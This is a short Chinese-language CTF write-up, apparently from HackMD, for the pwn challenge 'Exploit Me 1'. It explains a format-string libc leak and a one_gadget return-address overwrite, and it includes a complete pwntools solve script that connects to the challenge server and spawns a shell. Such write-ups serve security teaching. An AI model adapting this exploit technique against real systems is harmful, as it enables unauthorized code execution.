---
# System prepended metadata

title: '[CH] Exploit Me 1'
tags: [Chinese, Pwn, Writeup]

---

# [CH] Exploit Me 1
###### tags: `Writeup` `Pwn` `Chinese`
> [name=Curious]

## 思路和解法
先把 `chal` 丟進 IDA 看看

![](https://hackmd.io/_uploads/HJavA__Th.png)

可以發現這題可以用 FMT leak 一個 address 然後用 One Gadget 來 get shell，所以需要 leak libc 的 address

接著看看 One Gadget 的條件

![](https://hackmd.io/_uploads/SyPo1tdp2.png)

如果仔細看 `main` 的 asm，可以發現最後面塞了 `xor rsi, rsi` 和 `xor rdx, rdx`，所以 One Gadget 的條件就剩下需要 `rbp - 0x78` 是可寫的，既然我們 leak 了 libc 的 address，所以直接用 libc 的可寫段的某一個 address 寫給 `rbp` 就好了

Solve Script : 
```python=
from pwn import *

context.arch = 'amd64'

# r = process('./chal')
r = remote('lotuxctf.com', 10007)

r.sendlineafter(b'> ', b'%9$p')
libc = int(r.recvline().strip(), 16) - 0x029d90
info(f'libc : {hex(libc)}')

one_gadget = libc + 0xebcf8
buf = libc + 0x21af00

r.sendlineafter(b'> ', b'a' * 0x10 + flat(buf, one_gadget))

r.interactive()
```

{%hackmd M1bgOPoiQbmM0JRHWaYA1g %}
